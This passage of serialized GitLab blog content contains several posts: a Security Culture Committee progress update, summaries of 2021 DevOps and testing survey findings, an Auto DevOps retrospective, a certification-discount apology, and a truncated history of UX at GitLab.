held a Slack campaign where we communicated the value of public profiles and shared our progress toward the goal of making all GitLab profiles public by default.\n\n![Public GitLab profiles Slack campaign](https://about.gitlab.com/images/blogimages/sec-culture-blog/public_profile_msg.png){: .shadow.medium.center}\nAn example of our internal Slack campaign to encourage GitLab team members to switch their profiles from private to public.\n{: .note.text-center}\n\nWe also [added language](https://gitlab.com/gitlab-com/www-gitlab-com/-/merge_requests/60262/diffs) to the [values page of the GitLab Handbook](https://handbook.gitlab.com/handbook/values/#transparency) encouraging the use of public profiles:\n\n> In line with our value of transparency and being public by default, all GitLab team member [profiles](https://docs.gitlab.com/ee/user/profile/#user-profile) should be public. Public profiles also enable broader collaboration and efficiencies between teams. To do so, please make sure that the checkbox under the [Private profile](https://docs.gitlab.com/ee/user/profile/#private-profile) option is unchecked in your profile settings. If you do not feel comfortable with your full name or location on your profile, please change it to what feels appropriate to you as these are displayed even on private profiles.\n\nAnd we added [clarification](https://gitlab.com/gitlab-com/people-group/people-operations/employment-templates/-/merge_requests/465/diffs) to our [onboarding template](https://gitlab.com/gitlab-com/people-group/people-operations/employment-templates/-/blob/c80404ffc53b143bfc393ab69b7ce482de3efdad/.gitlab/issue_templates/onboarding.md#L422) around why we use public profiles to ensure new team members understand how they contribute to GitLab's value of transparency and being [public by default](https://handbook.gitlab.com/handbook/values/#public-by-default).\n\nOur Security Culture Committee will continue to revisit this topic and educate team members on the value of public profiles, but we're proud of our team members commitment to transparency and the results we've achieved, together, to-date:\n\n**As of May 5, 2021:** 🎉\n* All of GitLab: 2.18% private profiles (28 out of 1307)\n* Security department: 2.22% private profiles (1 out of 48)\n\n### Increase transparency in department leadership meetings\n\nBeyond ensuring our GitLab profiles are public, the Security Culture Committee, in partnership with [Security department](/handbook/security/#security-department) leadership, has also advocated for several department and sub-department meeting notes and recordings to be made available internally. By making notes and recordings available, all team members can stay informed about what's going on at the Security leadership level and follow meeting notes and recordings [asynchronously](https://handbook.gitlab.com/handbook/values/#bias-towards-asynchronous-communication). Besides providing more transparency, this also supports our collaboration and results values, as information is made available for all to read and contribute to.\n\n### Strengthen the employee experience\n\nOn a bi-annual cadence, GitLab conducts an organization-wide [Team Member Engagement Survey](/handbook/people-group/engagement/) to give team members an opportunity to provide feedback related to their experience within GitLab across multiple elements, including culture. The results from this survey are aggregated by department and shared with department heads.\n\nGitLab VP of Security [Johnathan Hunt](/company/team/#JohnathanHunt), engaged the culture committee to dive deeper into the Security department specific results from the Team Member Engagement Survey and help identify areas for improvement. After reviewing results, the committee outlined four focus areas where we could strengthen employee experience across the Security department based on survey results:\n\n* I believe there are good career opportunities at GitLab\n* I have access to the L&D I need to do my job well\n* GitLab is in a position to really succeed over the next three years\n* I have confidence in senior leaders and execs at GitLab\n\n**The culture committee established various channels for Security team members to share their feedback:**\n\n* Anonymous response to a Security department specific survey (delivered via Google forms)\n* Survey response provided to their manager in a 1:1 session where feedback was then summarized, anonymized, and provided to the committee\n* 1:1 feedback directly to a member of the culture committee over a coffee chat\n\n**About 62% of the Security department provided feedback, not including aggregated feedback that was provided to managers in 1:1 conversations. As part of the survey, we asked Security team members to:**\n\n* Prioritize and rank the four focus areas mentioned above\n* Provide recommendations for improvement within each focus area\n* Supply any additional feedback and recommendations they wanted to share\n\nOnce all feedback was gathered, the culture committee worked to consolidate and anonymize the data to ensure that specific team members could not be identified based on language used in their feedback. The next steps included sharing the qualitative survey data and summarized feedback with the entire team, and making recommendations for action, based on survey data, to senior leadership. Security leadership took the recommendations from the [top three focus areas and formalized an OKR](https://gitlab.com/groups/gitlab-com/gl-security/-/epics/109) for Q1.\n\nSo, what are the results so far?\n\n\u003Cdetails markdown=\"1\">\n\u003Csummary>\u003Cb>Priority 1 focus area: I believe there are good career opportunities at GitLab\u003C/b>\u003C/summary>\n\n* Implemented an [individual development plan](/handbook/security/individual-development-plan.html) so team members can continuously discuss career path and growth opportunities with their manager\n* Leadership exploration of additional career opportunities by mapping out additional role levels within the Security department\n\n\u003C/details>\n\n\u003Cdetails markdown=\"1\">\n\u003Csummary>\u003Cb>Priority 2: I have confidence in senior leaders and execs at GitLab \u003C/b>\u003C/summary>\n\n* Collaboration\n   * Established a [Security Department Team Day](https://gitlab.com/gitlab-com/gl-security/security-department-meta/-/issues/1133) to encourage collaboration and networking across the security organization\n   * Added a [Security OKR](/handbook/security/OKR.html) handbook page to encourage cross-functional OKRs\n* Diversity, Inclusion, and Belonging (DIB)\n   * Allyship training for Security department senior leadership team\n   * Planning for maturation of DIB specific metrics for the Security department\n* Transparency\n   * Updates to the [Security leadership job family](https://gitlab.com/gitlab-com/www-gitlab-com/-/merge_requests/78910) handbook page to further define responsibilities by role\n   * Include Security department activities within the [Engineering week-in-review](/handbook/engineering/#communication)\n\n\u003C/details>\n\n\u003Cdetails markdown=\"1\">\n\u003Csummary>\u003Cb>Priority 3: I have access to the L&D I need to do my job well\u003C/b>\u003C/summary>\n\n* Dedicated handbook page to centralize all [Learning and Development opportunities](/handbook/security/learning-and-development.html) for Security team members\n* Process to enable team members to prioritize and [dedicate eight working hours per month to L&D](/handbook/security/learning-and-development.html#dedicate-time-to-ld)\n\n\u003C/details>\n\n## What's next\n\nEach set of culture committee members are nominated to serve a six-month term. We, the first set of committee members, have established some basic processes and hit the ground running on a few initiatives that we hope has laid some groundwork for future committee members and impacts how we live our values within the Security department and throughout GitLab. We've started onboarding the next set of peer-nominated Security Committee members, which includes [Liz Coleman](/company/team/#lcoleman), [Devin Harris](/company/team/#dsharris), [Andrew Kelly](/company/team/#ankelly), [Philippe Lafoucrière](/company/team/#plafoucriere), [Marley Riser](/company/team/#marleyr), and [Juliet Wanjohi](/company/team/#jwanjohi).\n\nSo, what should be prioritized and tackled first by this new committee? We know they will each come in with their own unique and valuable perspective and ideas on how to ensure our GitLab values are strengthened as we scale and represented in the work on the Security team and beyond. We look forward to continuing to contributing to this work on behalf of all of our team members and will keep you posted!\n\nHave some feedback on the initiatives we've worked on as part of our Security Culture Committee? Or suggestions based on what's worked within your organization? Let us know in the comments!\n",[674,676],{"slug":18616,"featured":6,"template":678},"how-the-security-culture-committee-is-strengthening-gitlab-values","content:en-us:blog:how-the-security-culture-committee-is-strengthening-gitlab-values.yml","How The Security Culture Committee Is Strengthening Gitlab Values","en-us/blog/how-the-security-culture-committee-is-strengthening-gitlab-values.yml","en-us/blog/how-the-security-culture-committee-is-strengthening-gitlab-values",{"_path":18622,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":18623,"content":18629,"config":18634,"_id":18636,"_type":16,"title":18637,"_source":17,"_file":18638,"_stem":18639,"_extension":20},"/en-us/blog/the-software-testing-life-cycle-in-2021-a-more-upbeat-outlook",{"title":18624,"description":18625,"ogTitle":18624,"ogDescription":18625,"noIndex":6,"ogImage":18626,"ogUrl":18627,"ogSiteName":1180,"ogType":1181,"canonicalUrls":18627,"schema":18628},"The software testing life cycle in 2021: A more upbeat outlook","When DevOps teams trip, it's almost always over software testing. But in our 2021 survey we found some signs the software testing life cycle might finally be moving forward.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749664041/Blog/Hero%20Images/open-devops.png","https://about.gitlab.com/blog/the-software-testing-life-cycle-in-2021-a-more-upbeat-outlook","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"The software testing life cycle in 2021: A more upbeat outlook\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Valerie Silverthorne\"}],\n        \"datePublished\": \"2021-05-06\",\n      }",{"title":18624,"description":18625,"authors":18630,"heroImage":18626,"date":18631,"body":18632,"category":8943,"tags":18633},[11618],"2021-05-06","\nOur [2022 Global DevSecOps Survey](https://about.gitlab.com/developer-survey/previous/2022/) is out now! Learn the latest in DevOps insights from over 5,000 DevOps professionals.\n\nThe software testing life cycle can feel like the [DevOps](/topics/devops/) punching bag, and for good reason: For the last three years, [our annual survey participants have unanimously named/blamed test as the number one reason for release delays](/blog/what-blocks-faster-code-release/). In our latest survey, participants had some very pointed commentary about the software test life cycle:\n\n> \"Testing can be both slow in writing and running.\"\n>\n> \"Testing is not yet fully automated in the deployment cycle; hoping to improve that with our move from BitBucket + Jenkins/drone to GitLab.\"\n>\n> \"Testing delays everything.\"\n>\n> \"Some software delivery teams have delegated their testing to QA personnel instead of writing comprehensive end-to-end testing suites. These teams suffer from very long (several days) bottlenecks in shipping to production.\"\n\nBut for all the complaints, our [2021 Global DevSecOps Survey](/developer-survey/) did find some signs that the software test life cycle, like many other components of DevOps, is beginning to mature. For starters, almost 25% of survey respondents said they’ve achieved [full test automation](https://www.softwaretestinghelp.com/automation-testing-tutorial-1/), more than double the number reported last year. And 28% said their teams are at least halfway to full test automation.\n\n## Changing roles\n\n[In our 2020 survey](/developer-survey/previous/2020/) we found DevOps roles are changing, and this year that pattern seems to be continuing, even in testing. Roughly 34% of participants said devs are testing their own code (up from 31% last year) and 32% said code is tested as it’s written, a significant bump from 25% last year.\n\nAt the same time though, when we asked devs what they need to be **doing more of** the vast majority of responses mentioned testing, whether it was pen, smoke, A/B, manual or simply test automation. For all the forward momentum, 25% of teams are either just beginning to consider test automation or have none at all. \n\nAn improving picture, but testing is simply irritating to some of our respondents:\n\n> \"Automated testing is ignored ‘due to time constraints.’\"\n>\n> \"Testing? That's an interesting idea.\"\n>\n> \"We intended to do test-driven development (TDD) but it usually ends up being after the fact.\"\n>\n> \"I try to write my code with TDD when it's possible; it's complicated when writing React components, or when changing a function that is not tested with many side effects and many inputs and the tech lead forbids (me) to refactor it at the moment .... ='(.\"\n\n## A potential game-changer\n\nAlthough it sounds like *Space Odyssey* meets DevOps, there is another reason for optimism around software testing: [Artificial intelligence/machine learning](/blog/ai-in-software-development/) is on the rise now and what could be more perfect than bots running endless tests? Bots can be deployed in the thousands and they don’t take vacations, or even lunch breaks. \n\nThe appeal of endless testing was clear in [our survey responses this year](/developer-survey/). Just over 41% of respondents told us bots were testing their code and/or [AI/ML](/blog/ai-in-software-development/) was reviewing code before human intervention. That’s up dramatically from just 16% last year. All told, 25% of respondents use bots to test their code, 16% use AI/ML to review code before a human sees it, and 34% are exploring the idea of AI/Ml but haven’t done anything about it yet. Exactly one-quarter of respondents aren’t using AI/ML in test.\n\nSoftware testing is just one small part of what DevSecOps Survey covers. Our [2022 Global DevSecOps Survey](/developer-survey/) has the latest insights from over 5,000 DevOps professionals.\n",[8570,4103,674],{"slug":18635,"featured":6,"template":678},"the-software-testing-life-cycle-in-2021-a-more-upbeat-outlook","content:en-us:blog:the-software-testing-life-cycle-in-2021-a-more-upbeat-outlook.yml","The Software Testing Life Cycle In 2021 A More Upbeat Outlook","en-us/blog/the-software-testing-life-cycle-in-2021-a-more-upbeat-outlook.yml","en-us/blog/the-software-testing-life-cycle-in-2021-a-more-upbeat-outlook",{"_path":18641,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":18642,"content":18648,"config":18653,"_id":18655,"_type":16,"title":18656,"_source":17,"_file":18657,"_stem":18658,"_extension":20},"/en-us/blog/auto-devops-where-we-are-and-where-we-are-headed",{"title":18643,"description":18644,"ogTitle":18643,"ogDescription":18644,"noIndex":6,"ogImage":18645,"ogUrl":18646,"ogSiteName":1180,"ogType":1181,"canonicalUrls":18646,"schema":18647},"Auto DevOps: Where we are and where we are headed","As we will soon start an Auto DevOps design sprint, this article aims to summarize our current knowledge about Auto DevOps, and sets the stage for future discussions.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749679516/Blog/Hero%20Images/gitlab-11-0-released-cover.jpg","https://about.gitlab.com/blog/auto-devops-where-we-are-and-where-we-are-headed","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Auto DevOps: Where we are and where we are headed\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Viktor Nagy\"}],\n        \"datePublished\": \"2021-05-05\",\n      }",{"title":18643,"description":18644,"authors":18649,"heroImage":18645,"date":18650,"body":18651,"category":18484,"tags":18652},[2544],"2021-05-05","\n\n{::options parse_block_html=\"true\" /}\n\n\n\nAuto DevOps is an advanced GitLab feature-set that leverages GitLab's [single application](https://about.gitlab.com/handbook/product/single-application/) to assist users in every phase of the development and delivery process, implementing automatic tasks that can be customized and refined to get the best fit for their needs. The Three Ways of DevOps put forward a rigorous flow of work from development to production, short and amply feedback loops to fix quality issues early and avoid rework, and a culture of learning by balanced experimentation and repetition. GitLab, as a technological solution, can help with the first two ways, and can make the cultural changes less heavy and costly. Auto DevOps is our solution to support DevOps best practices with a convention over configuration approach.\n\n## A Bit of History\n\nAuto DevOps was released in GitLab 11.0, on 22. June 2018. From the very beginning, it included License Management, Security tests, and support for Kubernetes deployments. In the past years, the Auto DevOps offering was extended in many ways, and today [it ties together 15 stages](https://docs.gitlab.com/ee/topics/autodevops/stages.html) from building a project to deploying it. Besides being \"Auto\" as in automatic, it supports [a vast array of customization possibilities](https://docs.gitlab.com/ee/topics/autodevops/customize.html) too. \n\nThroughout these years, the goal of Auto DevOps remained the same: to simplify DevOps best practices adoption at every organisation.\n\n## Feedback we have heard\n\nAfter running a dozen interviews with our customers, I have noticed a few emerging patterns that I would like to share with you:\n\n### It's highly valued\n\nFirst of all, Auto DevOps is highly valued by our users. I talked with customers who were transitioning from legacy infrastructure to Kubernetes, and after 2 years of transitioning are looking forward to start using Auto DevOps with its built-in security scanners and review apps support. We have a great market to serve, and this is an amazing position to be at!\n\n### Auto DevOps utilized as exemplar templates\n\nFor various reasons, many customers find Auto DevOps to be unsuitable as-is. In these cases, it's considered as a set of GitLab CI templates that platform engineers can look at and learn from as they build out their own Auto DevOps forks. While we think it's great that these customers have found value in our Auto DevOps templates, we'd much rather create a solution that fulfills their needs without them having to write and maintain these templates forever.\n\n### Auto DevOps is slow\n\nAn often heard problem with Auto DevOps pipelines is that they are slow. Especially, its Auto Testing features, which end up getting switched off for this reason. One of the core principles of DevOps is to have a fast feedback loop; slow pipelines are counter to that principles and are therefore unacceptable. Our solution should accept this as a basic tenant and requirement.\n\n### Auto DevOps is hard to troubleshoot\n\nInherent in its name, it seems to be an automatic solution. While in actuality, it's a rather complex product with many pieces having to fit together just right to get it to work. As a result, if something goes wrong, then our users often turn to GitLab support for assistance. This is especially problematic, as erroneous configurations usually happen when Auto DevOps is tried out for the first time. Leading to a negative first impression. We should be able to provide a better experience by putting more effort into its onboarding flow.\n\n### Auto DevOps does not scale well\n\nMany GitLab users who claim that they use Auto DevOps actually use a forked version of it that incorporates custom CI templates, some Auto DevOps templates, and some custom logic too. In these situations, every new project created requires the redundant setup of these custom templates, because simply enabling Auto DevOps would only use the GitLab templates. This can be a problem in larger organizations, with dedicated platform teams, because they often have a requirement for standardization to simplify their engineering team's life. The current state of Auto DevOps does not serve this need well.\n\n### Auto DevOps targets only Kubernetes\n\nFor a long time, the only supported deployment target for Auto DevOps was Kubernetes. This has changed in the past year with her additional support of AWS EC2 and ECS. Nevertheless, we still do not support application stores for mobile development, simple package creation, Lambda function, etc. On one hand, Kubernetes already restricts Auto DevOps to a special set of companies where there is likely a central platform team, while on the other hand, we don't have support for platform team-level customizations. At the same time, we were missing support for the most common deployment targets without a platform team.\n\n## Who is the target user\n\nThe patterns show that there are two different user types (aka personas) for Auto DevOps:\n\n- There are the bigger companies with standardized processes and a dedicated platform team that owns these processes. This team is responsible for every developer teams' pipelines and their primary job is to allow developers to focus only on developing the business logic, instead of working on deployments and infrastructure. These platform teams require a product that enables them to apply special company policies automatically to every project that works. While Auto DevOps allows many customizations, those customizations are brittle to changes in GitLab, and we don't have special logic in using these customized setups automatically.\n\n- Then there are smaller companies, without a dedicated platform team. In these situations, usually, a lead engineer wears the platform engineer hat and takes care of the pipelines from the initial build through various scanners and non-production deployments to the final production deployment. These teams don't mind following our conventions as long as our solution doesn't require much time from them to get started while also supporting their deployment targets. Tools like Heroku, Vercel, or Netlify already paved the way for this approach.\n\n## What's next\n\nIn the past 3 years, we have learned a lot about our users, this allows us to take a new look at Auto DevOps, and see how we can best serve our users' current goals and needs. For this reason, we're planning on running a Design Sprint in the coming month to determine the new direction and come up with a solution that will help teams to more easily adopt DevSecOps best practices. While moving through this journey we would love for you to [join the discussion on the Reimagining Auto DevOps epic](https://gitlab.com/groups/gitlab-org/-/epics/5148)... in the meantime, thank you for reading and I hope you're all as excited as we are to move Auto DevOps back to the future!\n",[4103,2705],{"slug":18654,"featured":6,"template":678},"auto-devops-where-we-are-and-where-we-are-headed","content:en-us:blog:auto-devops-where-we-are-and-where-we-are-headed.yml","Auto Devops Where We Are And Where We Are Headed","en-us/blog/auto-devops-where-we-are-and-where-we-are-headed.yml","en-us/blog/auto-devops-where-we-are-and-where-we-are-headed",{"_path":18660,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":18661,"content":18666,"config":18671,"_id":18673,"_type":16,"title":18674,"_source":17,"_file":18675,"_stem":18676,"_extension":20},"/en-us/blog/certification-discount-code-debrief",{"title":18662,"description":18663,"ogTitle":18662,"ogDescription":18663,"noIndex":6,"ogImage":12013,"ogUrl":18664,"ogSiteName":1180,"ogType":1181,"canonicalUrls":18664,"schema":18665},"Why we ended our free discount code early","Debrief on our certification discount code policy change.","https://about.gitlab.com/blog/certification-discount-code-debrief","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Why we ended our free discount code early\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Christine Yoshida\"}],\n        \"datePublished\": \"2021-05-05\",\n      }",{"title":18662,"description":18663,"authors":18667,"heroImage":12013,"date":18650,"body":18669,"category":736,"tags":18670},[18668],"Christine Yoshida","\n\n**This blog post was originally published on the GitLab Unfiltered blog. It was reviewed and republished on 2021-05-07.**\n\nWe are amazed at the sheer number of people who particpated in GitLab's 10-day certification offer of a 100% discount. In just two days there were more than 60,000 people who created an account in [GitLab Learn](/learn/), more than 8,000 people enrolled in the GitLab Certified Associate Self-Service pathway, more than 6,000 people started the hands-on labs, and more than 500 submitted your completed hands-on lab for the certification exam. We were able to award certifications to hundreds of people during that time!\n\nWe love your enthusiasm and excitement about earning a GitLab certification, which you expressed on everything from social media posts to video walkthroughs on YouTube. Unfortunately, we had only anticipated about 4,000 users for this 10-day program and the systems behind the scenes supporting the learning experience were unable to keep up with the sudden spike in the number of users. We eventually exceeded the user capacity limit on our third-party learning management platform and our internal hands-on training lab infrastructure. This is separate from our GitLab.com SaaS infrastructure. _GitLab SaaS customers were not impacted._ Due to the user capacity limit, we had to make the difficult decision to end the discount period much sooner than we had planned. We are working to autoscale our training systems to support the demand.\n\nFor those of you who were excited to take advantage of the discount and thought you had more time to take advantage of it, we are very sorry to have built up your excitement and then let you down - please accept our sincere apologies. If you have already redeemed the discount code and hands-on lab invitation code, please continue to complete your coursework in GitLab Learn and submit your project to us.\n\nOver the coming days and weeks we will determine both short-term and long-term solutions to provide improved capacity. As we iterate and scale GitLab Learn, we'll be incorporating the lessons we learned with this event.\n\nThere is still plenty of free learning in GitLab Learn including [Gitlab 101](/handbook/people-group/learning-and-development/gitlab-101/), [GitLab 201](/handbook/people-group/learning-and-development/gitlab-201/), [Remote Work,](/company/culture/all-remote/remote-certification/) and [DIB badges](/company/culture/inclusion/dib-training/). We hope you'll continue to use GitLab Learn and visit often to check out new offerings as they become available.\n\n## Your comments are welcome here!\n\nTell us how we could have done better.\n",[267,9297,736],{"slug":18672,"featured":6,"template":678},"certification-discount-code-debrief","content:en-us:blog:certification-discount-code-debrief.yml","Certification Discount Code Debrief","en-us/blog/certification-discount-code-debrief.yml","en-us/blog/certification-discount-code-debrief",{"_path":18678,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":18679,"content":18684,"config":18689,"_id":18691,"_type":16,"title":18692,"_source":17,"_file":18693,"_stem":18694,"_extension":20},"/en-us/blog/gitlabs-2021-survey-uncovers-a-new-devops-maturity-model",{"title":18680,"description":18681,"ogTitle":18680,"ogDescription":18681,"noIndex":6,"ogImage":18626,"ogUrl":18682,"ogSiteName":1180,"ogType":1181,"canonicalUrls":18682,"schema":18683},"GitLab's 2021 Survey uncovers a new DevOps maturity model","Our 2021 Global DevSecOps Survey found dramatic advances in DevOps maturity including faster release/deployment cycles, increased automation and improved security postures.","https://about.gitlab.com/blog/gitlabs-2021-survey-uncovers-a-new-devops-maturity-model","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"GitLab's 2021 Survey uncovers a new DevOps maturity model\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Valerie Silverthorne\"}],\n        \"datePublished\": \"2021-05-04\",\n      }",{"title":18680,"description":18681,"authors":18685,"heroImage":18626,"date":18686,"body":18687,"category":8943,"tags":18688},[11618],"2021-05-04","\n_Our 2022 GitLab DevSecOps Survey has the latest insights from over 5,000 DevOps professionals. Download and [read the full survey](/developer-survey/)._\n\nIn the midst of a global pandemic and a new way of working, teams got serious about what matters most, creating what amounts to a new [DevOps maturity model](/stages-devops-lifecycle/). GitLab’s  just-released 2021 Global DevSecOps Survey found sharp increases in automation, release cadences, continuous deployments, and security postures, as well as a growing reliance on cutting edge technologies, including artificial intelligence and machine learning. Nearly 4300 people shared their struggles and successes, and demonstrated a commitment to DevOps maturity like we’ve never seen before.\n\nWhat does this new DevOps maturity model look like? Well for one thing, it looks like it’s working. We think the year over year growth statistics speak for themselves:\n\n* 60% of developers are releasing code 2x faster than before, thanks to DevOps – up 25% from (pre-pandemic) 2020.\n* 72% of security pros rated their organizations’ security efforts as “good” or “strong” – up 13% over 2020.\n* 56% of ops teams members said they are “fully” or mostly automated – up 10% from 2020.\n* Almost 25% of respondents claimed to have full test automation – up 13% from 2020.\n* 75% of teams are either using AI/ML or bots for test/code review, or they’re planning to – up 41% from 2020.\n* Last year dev, sec, and ops said they needed [better communication and collaboration skills](/blog/collaboration-communication-best-practices/) for their future careers. This year, after an intense period of enforced soft skills, their priorities have shifted dramatically to AI/ML (devs), subject matter expertise (sec), and advanced programming (ops). \n\n## A 2021 DevOps maturity model\n\nAs we found in last year’s survey, [DevOps roles continue to change](/blog/software-developer-changing-role/), with developers taking on tasks usually associated with test and ops, ops focusing on the cloud and infrastructure, and security continuing to be part of cross-functional teams. The evolving nature of DevOps is hardly surprising: Fully 43% of our survey respondents have been doing DevOps for between three and five years - that’s the sweet spot where they’ve known success and are well-seasoned. But that “sweet spot” didn’t keep them complacent. This was also the year where practitioners skipped incremental improvements and reached for the big guns: SCM, CI/CD, test automation, and a [DevOps platform](/solutions/devops-platform/) were the most popular additions to their DevOps practices. \n\nWhy do teams strive for a DevOps maturity model? Code quality, faster time to market and improved security were the top three reasons.\n\nTesting remains the DevOps problem child – for the third year in a row participants said test is the most likely reason for release delays. There is some light at the end of the tunnel, though: not only has the percentage of teams with full test automation more than doubled year over year, a growing number of teams are either already using or plan to use AI/ML. Industry experts believe [AI/ML could revolutionize software testing](\u003Chttps://insidebigdata.com/2021/01/27/how-ai-and-machine-learning-will-shape-software-testing/>), and our survey participants apparently agree. \n\nAlso feeling the love in the survey were advanced technologies like Kubernetes. In our [2020 survey](/blog/devsecops-survey-released/), only 38% of survey takers used Kubernetes; this year the percentage jumped to 46% and even participants not using K8s currently said they planned to soon.\n\n## Looking to the future\n\nLast year our survey takers planned to focus on basics like automation, CI/CD and overall DevOps. But it’s 2021 now, and those efforts toward a new DevOps maturity model have paid off. This year participants plan to invest in the cloud, followed by [artificial intelligence](/blog/ai-in-software-development/). Last year, AI rated only a very distant 8th place. \n\nOur 2022 GitLab DevSecOps Survey has the latest insights from over 5,000 DevOps professionals. Download and [read the full survey](/developer-survey/).\n",[8570,4103,674],{"slug":18690,"featured":6,"template":678},"gitlabs-2021-survey-uncovers-a-new-devops-maturity-model","content:en-us:blog:gitlabs-2021-survey-uncovers-a-new-devops-maturity-model.yml","Gitlabs 2021 Survey Uncovers A New Devops Maturity Model","en-us/blog/gitlabs-2021-survey-uncovers-a-new-devops-maturity-model.yml","en-us/blog/gitlabs-2021-survey-uncovers-a-new-devops-maturity-model",{"_path":18696,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":18697,"content":18703,"config":18707,"_id":18709,"_type":16,"title":18710,"_source":17,"_file":18711,"_stem":18712,"_extension":20},"/en-us/blog/the-evolution-of-ux-at-gitlab",{"title":18698,"description":18699,"ogTitle":18698,"ogDescription":18699,"noIndex":6,"ogImage":18700,"ogUrl":18701,"ogSiteName":1180,"ogType":1181,"canonicalUrls":18701,"schema":18702},"The Evolution of UX at GitLab","What did it look like to work in User Experience (UX) at GitLab over the last several years? Take a peek into our time machine.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749679527/Blog/Hero%20Images/timeline.png","https://about.gitlab.com/blog/the-evolution-of-ux-at-gitlab","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"The Evolution of UX at GitLab\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Austin Regnery\"}],\n        \"datePublished\": \"2021-05-04\",\n      }",{"title":18698,"description":18699,"authors":18704,"heroImage":18700,"date":18686,"body":18705,"category":18484,"tags":18706},[10221],"\n\nSince hiring our first designer at GitLab in 2014, there have been numerous milestones for the product and our organization. It's easy to get lost in the day-to-day and lose sight of the accomplishments that brought us to where we are today, so let's look back to remind ourselves of how far we've come.\n\nNielsen Norman Group breaks down the progression of UX Maturity into eight stages ([1-4](https://www.nngroup.com/articles/ux-maturity-stages-1-4/) & [5-8](https://www.nngroup.com/articles/ux-maturity-stages-5-8/)). This retrospective looks into our perception of how the UX department has evolved over the last several years. It is by no means a perfect evaluation, but it illustrates our journey thus far.\n\n## 2014-2016 (UX maturity stages 1-3)\n\nThe first designer at GitLab was hired in September of 2014, with the audacious goal to uplift the UI design of GitLab away from vanilla Bootstrap. With that came a more intensive demand on UX to bring cohesion to the incoming development changes. Working with a limited capacity was an expected growing pain and necessary for evolving the maturity of our UX at GitLab.\n\nIn mid-2016, the workload on UX did not slow down, as GitLab continued to emphasize improvement to the existing UI and new features. Our UX team grew from 1 to 6 people, including the hiring of our first UX manager and UX researcher. UX moved to the Engineering department to better align the two practices, focusing on speed of iteration. The team's growth brought some changes to our UI design tooling (moving from Antetype to Sketch).\n\n**Fun product milestones**\n- CI grew beyond jobs (back then \"builds\") into the [pipelines](https://about.gitlab.com/releases/2016/05/22/gitlab-8-8-released/)\n- [Review Apps](https://about.gitlab.com/blog/introducing-review-apps/) released\n- [Better empty states](https://about.gitlab.com/blog/gitlab-ux-update/) began to appear\n- We implemented our [first redesign of site navigation](https://about.gitlab.com/blog/navigation-redesign/)\n\n![Image of GitLab builds in 2016 compared to pipelines in 2021](https://about.gitlab.com/images/blogimages/ux-evolution/pipelines-side.png){: .shadow}\n\nBuilds in 2016 (left) vs pipelines in 2021 (right) \n{: .note.text-center}\n\n## 2017-2018 (UX maturity stages 4-5)\n\nEmphasis on setting the foundations for the future of UX at GitLab started to come into play, and the team grew to 12 people. We began documenting our personas, [why we use them](https://about.gitlab.com/blog/the-importance-of-ux-personas/), and insights from UX research in our handbook. [Category Maturity Scorecards](https://about.gitlab.com/handbook/product/ux/category-maturity/category-maturity-scorecards/) established a mechanism to evaluate our UX. We took our first steps towards the [Pajamas Design System](https://design.gitlab.com/). We also made a shift to allow better cross-functional collaboration by [restructuring our organization into stage groups](https://about.gitlab.com/blog/configure-post/). These things helped keep the UX tightly integrated as GitLab began to expand to a more holistic DevOps solution.\n\n**Fun product milestones**\n- [Navigation overhauled again](https://about.gitlab.com/blog/unveiling-gitlabs-new-navigation/)\n- GitLab grew its product scope from Dev to [DevOps](https://about.gitlab.com/blog/from-dev-to-devops/)\n- Launched a research program, [GitLab First Look](https://about.gitlab.com/community/gitlab-first-look/), for invites to usability tests, user interviews, surveys, and more\n- [Custom illustrations and icons](/blog/illustrations-and-icons-on-gitlab-com/) started making their way into the product, replacing the FontAwesome icon library\n- [Color system](https://design.gitlab.com/product-foundations/colors) introduced, read more on [why we focused on colors](https://about.gitlab.com/blog/polishing-gitlabs-ui-a-new-color-system/)\n- [WebIDE](https://about.gitlab.com/blog/introducing-gitlab-s-integrated-development-environment/) reached [HackerNews #1](https://news.ycombinator.com/item?id=17321921)\n\n![Image of GitLab left navigation in (left) vs 2021 (right)](https://about.gitlab.com/images/blogimages/ux-evolution/nav-side-by-side.png){: .shadow}\n\nGitLab left navigation in 2016 (left) vs 2021 (right)\n{: .note.text-center}\n\n## 2019-2020 (UX maturity stages 6-7)\n\nThings started to boom as the UX department grew to nearly the 60 individuals that we have today. This growth brought our ratio of Product Designers to Product Managers closer to our goal of a balanced 1:1 ratio. Increasing the presence of UX made it possible to embed into cross-functional teams. Broader department changes helped support this scale by incorporating the design system into our quarterly Objectives and Key Results while also switching to more web app tooling (Figma and Mural). Expanding our tools created space to focus on UX debt, actionable insights, and our [System Usability Scale](https://about.gitlab.com/handbook/product/ux/performance-indicators/system-usability-scale/). Tech writing became a part of the UX department. We dedicated a team to the Pajamas Design System. The use of whiteboarding for collaboration became more of a common practice to solve complex problems. Additionally, [pairing designers](https://about.gitlab.com/blog/designing-in-an-all-remote-company/) helped support our all remote culture. \n\nWe also began to place a heavier emphasis on research, and it became much more critical in decision-making. For example, the introduction of [UX Scorecards](/handbook/product/ux/ux-scorecards/) helped quickly identify and prioritize usability issues and Product Designers started regularly conducting their own research. It was also valuable for us to invest in our user research tooling (Dovetail, Qualtrics, and UserTesting.com) for getting feedback from participants in unmoderated and moderated research sessions.\n\n**Fun product milestones**\n- Figma [plugin](https://www.figma.com/community/plugin/860845891704482356/GitLab) was shipped to tie Figma into the GitLab workflow\n- [Design Management](https://about.gitlab.com/releases/2019/08/22/gitlab-12-2-released/) added into GitLab 